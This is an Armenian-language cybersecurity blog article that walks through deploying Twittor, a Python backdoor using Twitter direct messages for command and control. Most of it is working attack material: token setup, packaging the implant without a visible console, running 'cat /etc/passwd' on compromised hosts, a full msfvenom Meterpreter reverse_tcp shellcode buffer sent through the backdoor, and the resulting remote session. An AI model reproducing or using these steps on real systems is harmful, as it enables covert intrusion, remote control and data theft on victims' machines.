Սեփական ուժերով ստեղծում ենք «Bot» ցանց՝ օգտվելով Twitter-ի նամակագրությունից

samvel-gevorgyan.jpg
Սամվել Գևորգյան
Տնօրեն, «ՍԱՅԲԵՐ ԳԵՅԹՍ»
Լուսաբանում եմ այնպիսի թեմաներ, ինչպիսիք են կիբեր-հանցագործությունը, գաղտնիությունը և անվտանգությունը թվային տեսքով:

Twittor-ն իրենից ներկայացնում է Python-ի հիմքով backdoor («ծածուկ մուտք»), որն օգտագործում է Twitter-ը (նամակագրությունը) որպես «command and control» սերվեր:

twbots-610x458.jpg

Ինչպես կարգավորել

Այն աշխատացնելու համար անհրաժեշտ է՝

Անհրաժեշտ փաթեթների կարգավորում՝

$ pip install -r requirements.txt

Այս փաթեթը պարունակում է երկու ֆայլ:

Երկու ֆայլերում էլ անհրաժեշտ է «access token» փոփոխականը փոխարինել Twitter-ից նախապես ստացված տվյալներով՝

CONSUMER_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
CONSUMER_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'

ACCESS_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
ACCESS_TOKEN_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'

USERNAME = 'XXXXXXXXXXXXXXXXXXXXXXXX'

Իդեպ, եթե պատրաստվում եք implant.py-ից ստանալ աշխատացնող (executable) ծրագիր, ապա անհրաժեշտ է օգտվել Pyinstaller-ից: Pyinstaller-ի հետ աշխատելու ընթացքում console-ը հեռացնելու համար անհրաժեշտ է օգտագործել «--noconsole --onefile» պարամետրերը:

Ինչպես օգտագործել

Client մասն աշխատացնելու համար անհրաժեշտ է աշխատացնել այս ֆայլը՝

$ python twittor.py

Այնուհետև կբացվի ինտերակտիվ shell՝ առաջարկելով մի քանի հրամաններ՝

$ help

refresh - refresh C&C control
list_bots - list active bots
list_commands - list executed commands
!retrieve <jobid> - retrieve jobid command
!cmd <MAC ADDRESS> command - execute the command on the bot
!shellcode <MAC ADDRESS> shellcode - load and execute shellcode in memory (Windows only)
help - print this usage
exit - exit the client

$ 

Մի քանի համակարգերում (համակարգիչներում) backdoor ստեղծելուց (տեղադրելուց) հետո, կարոք եք տեսնել հասանելի client-ների ցուցակը՝ օգտագործելով հետևյալ հրամանը՝

$ list_bots
B7:76:1F:0B:50:B7: Linux-x.x.x-generic-x86_64-with-Ubuntu-14.04-precise
$

Էկրանին կարտացոլվի MAC հասցեն, որն օգտագործվում է client-ներին առանձնահատուկ կերպով նույնականացնելու համար, ինչպես նաև տալիս ինֆորմացիա աշխատող Օպերացիոն Համակարգի (ՕՀ) մասին: Այս դեպքում դա Linux ՕՀ է:

Այսպես կարելի է client-ին հրաման ուղարկել՝

$ !cmd B7:76:1F:0B:50:B7 cat /etc/passwd
[+] Sent command "cat /etc/passwd" with jobid: UMW07r2
$

Այսպիսով «B7:76:1F:0B:50:B7» համակարգչին ստիպում ենք աշխատացնել «cat /etc/passwd» հրամանը, ինչի արդյունքում ստացված jobid համարով կարողանում ենք ստանալ հրամանի արդյունքները՝

Փորձենք ստանալ արդյունքները

$ !retrieve UMW07r2
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
(...)

Այս դեպքում օգտագործեցինք !retrieve հրամանը՝ նշելով նախապես ստացած jobid համարը:

Ստանալ նախորդ հրամանները

Ինչպես նախապես նշվել էր, (նախորդ) հրամանները կարելի է վերադարձնել հին նամակագրությունից (սահմանափակումը՝ 200): Վերադարձնելու համար անհրաժեշտ է կանչել list_commands հրամանը:

$ list_commands
8WNzapM: 'uname -a ' on 2C:4C:84:8C:D3:B1
VBQpojP: 'cat /etc/passwd' on 2C:4C:84:8C:D3:B1
9KaVJf6: 'PING' on 2C:4C:84:8C:D3:B1
aCu8jG9: 'ls -al' on 2C:4C:84:8C:D3:B1
8LRtdvh: 'PING' on 2C:4C:84:8C:D3:B1
$

Աշխատացնել shellcode (Windows Օպերացիոն համակարգերում)

Այս կարգավորումը կարող է շատ հեշտացնել meterpreter-ից սեսիա (session) կանչելու համար: Մանրամասն կարող եք կարդալ այստեղ:

Ստեղծում ենք shellcode meterpreter-ի համար՝

# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=3615 -f python
(...)
Payload size: 299 bytes
buf =  ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
buf += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
buf += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
buf += "\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f"
buf += "\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x0a\x00\x00\x01\x68"
buf += "\x02\x00\x0e\x1f\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5"
buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec"
buf += "\xe8\x3f\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02"
buf += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xe9\x8b\x36\x6a"
buf += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"
buf += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
buf += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xc3\x01\xc3\x29\xc6"
buf += "\x75\xe9\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"

Այնուհետև անհրաժեշտ է բացել (extract) shellcode-ը և ուղարկել նշված bot-ին՝ օգտվելով !shellcode հրամանից:

$ !shellcode 11:22:33:44:55 \xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b (...)
[+] Sent shellcode with jobid: xdr7mtN
$

Եվ վերջ:

msf exploit(handler) > exploit

[*] Started reverse handler on 10.0.0.1:3615 
[*] Starting the payload handler...
[*] Sending stage (884270 bytes) to 10.0.0.99
[*] Meterpreter session 1 opened (10.0.0.1:3615 -> 10.0.0.99:49254) at 2015-09-08 10:19:04 -0400

meterpreter > getuid
Server username: WIN-XXXXXXXXX\PaulSec
Ծանուցում` Սույն հոդվածը հիմնականում գրվել և խմբագրվել է մարդու կողմից։ Արհեստական բանականության գործիքները կիրառվել են խիստ սահմանափակ ծավալով՝ միայն որպես օժանդակ միջոց հետազոտության կամ տեքստի թեթև խմբագրման համար։

Հատկորոշիչներ

Կիսվել հոդվածով

Մեկնաբանություններ ()

Առաջարկվող հոդվածներ


Ակնթարթային ծանուցումներ

Բաժանորդագրվե՛ք «Telegram»-ի մեր խմբին, որպեսզի առաջինը տեղեկանաք կիբերանվտանգության վերջին նորություններին, ռեսուրսներին և վերլուծություններին: